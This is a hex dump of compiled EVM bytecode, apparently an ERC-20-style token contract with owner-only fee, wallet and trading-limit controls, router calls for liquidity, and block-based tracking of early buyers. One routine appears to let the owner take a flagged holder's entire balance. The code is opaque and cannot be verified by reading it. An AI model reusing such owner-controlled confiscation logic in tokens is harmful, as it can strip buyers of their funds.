4a8262000dd5565b915062000e578362000dd5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000e935762000e9262000c52565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000eda8262000dd5565b915062000ee78362000dd5565b92508262000efa5762000ef962000e9e565b5b828204905092915050565b62000f108162000dd5565b82525050565b600060208201905062000f2d600083018462000f05565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000f7b57607f821691505b6020821081141562000f925762000f9162000f33565b5b50919050565b6156ed8062000fa86000396000f3fe6080604052600436106101f15760003560e01c806395d89b411161010d578063d9f0b370116100a0578063e7173dd01161006f578063e7173dd0146106cb578063e79d4160146106f4578063ed7b6bb51461071f578063f2fde38b14610736578063ffb54a991461075f576101f8565b8063d9f0b37014610625578063dca2a8b61461064e578063dd62ed3e14610665578063e461c221146106a2576101f8565b8063aa4bde28116100dc578063aa4bde281461057f578063b1421803146105aa578063b875e50b146105d3578063cf40b248146105fc576101f8565b806395d89b41146104d75780639ec2825114610502578063a499c2831461052b578063a9059cbb14610542576101f8565b8063313ce5671161018557806370a082311161015457806370a0823114610407578063863abf6d14610444578063893d20e8146104815780638c0b5e22146104ac576101f8565b8063313ce56714610361578063607759511461038c578063677ef846146103b55780636969c1a4146103de576101f8565b806318160ddd116101c157806318160ddd146102cb5780631c939ee9146102f65780631cbbe3e41461030d57806323b872dd14610324576101f8565b8062fffc9d146101fd57806306fdde0314610226578063095ea7b3146102515780630f3a325f1461028e576101f8565b366101f857005b600080fd5b34801561020957600080fd5b50610224600480360381019061021f9190614297565b61078a565b005b34801561023257600080fd5b5061023b6108a8565b6040516102489190614397565b60405180910390f35b34801561025d57600080fd5b506102786004803603810190610273919061444d565b61093a565b60405161028591906144a8565b60405180910390f35b34801561029a57600080fd5b506102b560048036038101906102b091906144c3565b610a97565b6040516102c291906144a8565b60405180910390f35b3480156102d757600080fd5b506102e0610af2565b6040516102ed91906144ff565b60405180910390f35b34801561030257600080fd5b5061030b610b16565b005b34801561031957600080fd5b50610322610baf565b005b34801561033057600080fd5b5061034b6004803603810190610346919061451a565b610c49565b60405161035891906144a8565b60405180910390f35b34801561036d57600080fd5b50610376610e52565b6040516103839190614589565b60405180910390f35b34801561039857600080fd5b506103b360048036038101906103ae91906144c3565b610e5b565b005b3480156103c157600080fd5b506103dc60048036038101906103d791906145a4565b610f44565b005b3480156103ea57600080fd5b506104056004803603810190610400919061460b565b6112d8565b005b34801561041357600080fd5b5061042e600480360381019061042991906144c3565b6118cb565b60405161043b91906144ff565b60405180910390f35b34801561045057600080fd5b5061046b600480360381019061046691906144c3565b611914565b60405161047891906144ff565b60405180910390f35b34801561048d57600080fd5b5061049661195d565b6040516104a39190614647565b60405180910390f35b3480156104b857600080fd5b506104c1611986565b6040516104ce91906144ff565b60405180910390f35b3480156104e357600080fd5b506104ec61198c565b6040516104f99190614397565b60405180910390f35b34801561050e57600080fd5b50610529600480360381019061052491906144c3565b611a1e565b005b34801561053757600080fd5b50610540611b07565b005b34801561054e57600080fd5b506105696004803603810190610564919061444d565b611bda565b60405161057691906144a8565b60405180910390f35b34801561058b57600080fd5b50610594611c36565b6040516105a191906144ff565b60405180910390f35b3480156105b657600080fd5b506105d160048036038101906105cc919061469c565b611c3c565b005b3480156105df57600080fd5b506105fa60048036038101906105f591906144c3565b611dfa565b005b34801561060857600080fd5b50610623600480360381019061061e91906144c3565b611ee3565b005b34801561063157600080fd5b5061064c600480360381019061064791906144c3565b611fcc565b005b34801561065a57600080fd5b5061066361233b565b005b34801561067157600080fd5b5061068c600480360381019061068791906146dc565b612425565b60405161069991906144ff565b60405180910390f35b3480156106ae57600080fd5b506106c960048036038101906106c49190614748565b6124ac565b005b3480156106d757600080fd5b506106f260048036038101906106ed919061479b565b61262a565b005b34801561070057600080fd5b506107096127ec565b6040516107169190614837565b60405180910390f35b34801561072b57600080fd5b50610734612800565b005b34801561074257600080fd5b5061075d60048036038101906107589190614890565b6128e2565b005b34801561076b57600080fd5b506107746129ea565b60405161078191906144a8565b60405180910390f35b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080f9061492f565b60405180910390fd5b8263ffffffff168463ffffffff166009600a6108349190614ab1565b6305f5e1006108439190614afc565b61084d9190614afc565b6108579190614b85565b600b819055508063ffffffff168263ffffffff166009600a6108799190614ab1565b6305f5e1006108889190614afc565b6108929190614afc565b61089c9190614b85565b600c8190555050505050565b6060600180546108b790614be5565b80601f01602080910402602001604051908101604052809291908181526020018280546108e390614be5565b80156109305780601f1061090557610100808354040283529160200191610930565b820191906000526020600020905b81548152906001019060200180831161091357829003601f168201915b5050505050905090565b600043600f541180156109975750601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156109a7576109a633436129fd565b5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a8591906144ff565b60405180910390a36001905092915050565b600080601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610ae85760019050610aed565b600090505b919050565b60006009600a610b029190614ab1565b6305f5e100610b119190614afc565b905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ba4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9b9061492f565b60405180910390fd5b610bad47612b1f565b565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c349061492f565b60405180910390fd5b610c476000612d87565b565b6000610c53612de6565b610c92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8990614c63565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610e3e5781600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dbd9190614c83565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610e49848484612e6c565b90509392505050565b60006009905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ee9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee09061492f565b60405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc99061492f565b60405180910390fd5b83601360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611366576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135d9061492f565b60405180910390fd5b600860009054906101000a900460ff16156113b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ad90614d03565b60405180910390fd5b600081116113f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f090614d6f565b60405180910390fd5b6001601060003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000601360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600047905081811015611606576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115fd90614ddb565b60405180910390fd5b6000611611306118cb565b905060008111611656576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164d90614e47565b60405180910390fd5b6000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116e99190614e7c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611772573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117969190614e7c565b6040518363ffffffff1660e01b81526004016117b3929190614ea9565b6020604051808303816000875af11580156117d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117f69190614e7c565b90506001600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506118b182613537565b6118bd82856000613721565b6118c56137ff565b50505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60095481565b60606002805461199b90614be5565b80601f01602080910402602001604051908101604052809291908181526020018280546119c790614be5565b8015611a145780601f106119e957610100808354040283529160200191611a14565b820191906000526020600020905b8154815290600101906020018083116119f757829003601f168201915b5050505050905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611aac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa39061492f565b60405180910390fd5b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8c9061492f565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6012819055506000601360006101000a81548160ff021916908360ff160217905550565b6000611be4612de6565b611c23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1a90614c63565b60405180910390fd5b611c2e338484612e6c565b905092915050565b600a5481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611cca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc19061492f565b60405180910390fd5b600060016103e88461ffff166009600a611ce49190614ab1565b6305f5e100611cf39190614afc565b611cfd9190614afc565b611d079190614b85565b611d119190614ed2565b9050600954811015611d58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4f90614f74565b60405180910390fd5b80600981905550600060016103e88461ffff166009600a611d799190614ab1565b6305f5e100611d889190614afc565b611d929190614afc565b611d9c9190614b85565b611da69190614ed2565b9050600a54811015611ded576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de490614fe0565b60405180910390fd5b80600a8190555050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7f9061492f565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f689061492f565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461205a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120519061492f565b60405180910390fd5b6001601660146101000a81548160ff0219169083151502179055506000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156120f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ef9061504c565b60405180910390fd5b6000612103826118cb565b905060008111612148576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213f90614e47565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121939190614c83565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122219190614ed2565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516122c191906144ff565b60405180910390a3600060016002836122da9190614b85565b6122e49190614c83565b905060004790506122f482613947565b600081476123029190614c83565b905061230d83613537565b61231983826000613721565b505050506000601660146101000a81548160ff02191690831515021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146123c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123c09061492f565b60405180910390fd5b60006123d4306118cb565b905060008111612419576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612410906150b8565b60405180910390fd5b61242281613947565b50565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461253a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125319061492f565b60405180910390fd5b600e60029054906101000a900460ff1660ff168360ff16111580156125745750600e60029054906101000a900460ff1660ff168260ff1611155b80156125955750600e60029054906101000a900460ff1660ff168160ff1611155b6125d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125cb90615124565b60405180910390fd5b82600e60036101000a81548160ff021916908360ff16021790555081600e60046101000a81548160ff021916908360ff16021790555080600e60056101000a81548160ff021916908360ff160217905550505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146126b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126af9061492f565b60405180910390fd5b6103e881838587898b6126cb9190615144565b6126d59190615144565b6126df9190615144565b6126e99190615144565b6126f39190615144565b61ffff1614612737576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161272e906151c8565b60405180910390fd5b85600e60066101000a81548161ffff021916908361ffff16021790555084600e60086101000a81548161ffff021916908361ffff16021790555083600e600a6101000a81548161ffff021916908361ffff16021790555082600e600c6101000a81548161ffff021916908361ffff16021790555081600e806101000a81548161ffff021916908361ffff16021790555080600e60106101000a81548161ffff021916908361ffff160217905550505050505050565b600e60009054906101000a900461ffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461288e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128859061492f565b60405180910390fd5b6000600e60036101000a81548160ff021916908360ff160217905550600e60029054906101000a900460ff1660026128c691906151e8565b600e60046101000a81548160ff021916908360ff160217905550565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612970576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129679061492f565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163816040516129df9190615282565b60405180910390a150565b600860009054906101000a900460ff1681565b601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a9657506000601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15612b1b5780601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e600081819054906101000a900461ffff1680929190612aff9061529d565b91906101000a81548161ffff021916908361ffff160217905550505b5050565b6000600e60109054906101000a900461ffff16600e8054906101000a900461ffff16600e600c9054906101000a900461ffff16612b5c9190615144565b612b669190615144565b90506000600e600c9054906101000a900461ffff1661ffff161115612c1d57601360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8261ffff16600e600c9054906101000a900461ffff1661ffff1685612be69190614afc565b612bf09190614b85565b9081150290604051600060405180830381858888f19350505050158015612c1b573d6000803e3d6000fd5b505b6000600e8054906101000a900461ffff1661ffff161115612cce57601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8261ffff16600e8054906101000a900461ffff1661ffff1685612c979190614afc565b612ca19190614b85565b9081150290604051600060405180830381858888f19350505050158015612ccc573d6000803e3d6000fd5b505b6000600e60109054906101000a900461ffff1661ffff161115612d8357601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8261ffff16600e60109054906101000a900461ffff1661ffff1685612d4c9190614afc565b612d569190614b85565b9081150290604051600060405180830381858888f19350505050158015612d81573d6000803e3d6000fd5b505b5050565b43600f541180612d9957506000600f54145b15612de3578060ff1643612dad9190614ed2565b600f8190555060023a612dc09190614afc565b601281905550600a601360006101000a81548160ff021916908360ff1602179055505b50565b60008060009050600860009054906101000a900460ff1615612e0b5760019050612e65565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff161415612e6457600190505b5b8091505090565b600043600f541115612f8757600360049054906101000a900463ffffffff1663ffffffff16600360009054906101000a900463ffffffff1663ffffffff1684612eb591906152c8565b73ffffffffffffffffffffffffffffffffffffffff161415612ee057612edb6001612d87565b612f82565b6000601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415612f3757612f3283436129fd565b612f81565b612f8083601160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129fd565b5b5b613089565b6000601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146130185761301783601160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129fd565b5b601360009054906101000a900460ff1660ff16600f546130389190614ed2565b4310801561304857506012543a10155b15613088576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161307f90615345565b60405180910390fd5b5b600860009054906101000a900460ff1680156130e557506000601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b801561312f575043601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b1561316f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613166906153b1565b60405180910390fd5b601660149054906101000a900460ff161580156131d55750600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156131e3576131e2613b66565b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561324b57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156132a3575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156132f2576132b28383613d7d565b6132f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132e89061541d565b60405180910390fd5b5b60006132ff858585613ebd565b90506000818461330f9190614c83565b905083600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461335c9190614c83565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008211156134375781600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133f39190614ed2565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b80600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134829190614ed2565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161352291906144ff565b60405180910390a36001925050509392505050565b80600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561371e577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60405161371591906144ff565b60405180910390a35b50565b60008161374c5760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308760008087426040518863ffffffff1660e01b81526004016137b396959493929190615478565b60606040518083038185885af11580156137d1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906137f691906154ee565b50505050505050565b60054361380c9190614afc565b600f819055506009600a6138209190614ab1565b6103e86009600a6138319190614ab1565b6305f5e1006138409190614afc565b600561384c9190614afc565b6138569190614b85565b6138609190614ed2565b6009819055506009600a6138749190614ab1565b6103e86009600a6138859190614ab1565b6305f5e1006138949190614afc565b60056138a09190614afc565b6138aa9190614b85565b6138b49190614ed2565b600a81905550600e60029054906101000a900460ff16600e60036101000a81548160ff021916908360ff160217905550600e60029054906101000a900460ff16600e60046101000a81548160ff021916908360ff1602179055506000600e60056101000a81548160ff021916908360ff1602179055506001600860006101000a81548160ff021916908315150217905550565b61395081613537565b6000600267ffffffffffffffff81111561396d5761396c615541565b5b60405190808252806020026020018201604052801561399b5781602001602082028036833780820191505090505b50905030816000815181106139b3576139b2615570565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613a5a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613a7e9190614e7c565b81600181518110613a9257613a91615570565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613b3095949392919061565d565b600060405180830381600087803b158015613b4a57600080fd5b505af1158015613b5e573d6000803e3d6000fd5b505050505050565b6001601660146101000a81548160ff0219169083151502179055506000613b8c306118cb565b9050600b548110158015613bac5750600860009054906101000a900460ff165b15613d5f57600c548110613bc057600c5490505b600060026103e8600e600a9054906101000a900461ffff1661ffff1684613be79190614afc565b613bf19190614b85565b613bfb9190614b85565b905060006103e8600e60069054906101000a900461ffff1661ffff1684613c229190614afc565b613c2c9190614b85565b9050613c5a601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826140c7565b60006103e8600e60089054906101000a900461ffff1661ffff1685613c7f9190614afc565b613c899190614b85565b9050613c966000826140c7565b600081838587613ca69190614c83565b613cb09190614c83565b613cba9190614c83565b90506000479050613cca82613947565b60008147613cd89190614c83565b90506000600e600a9054906101000a900461ffff1661ffff161115613d3f5760006103e8600e600a9054906101000a900461ffff1661ffff1683613d1c9190614afc565b613d269190614b85565b9050613d3187613537565b613d3d87826000613721565b505b60004790506000811115613d5757613d5681612b1f565b5b505050505050505b506000601660146101000a81548160ff021916908315150217905550565b60008060019050600860009054906101000a900460ff168015613dea5750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613eb357600954831115613e025760009050613eb2565b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015613ea75750600a5483600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ea59190614ed2565b115b15613eb157600090505b5b5b8091505092915050565b6000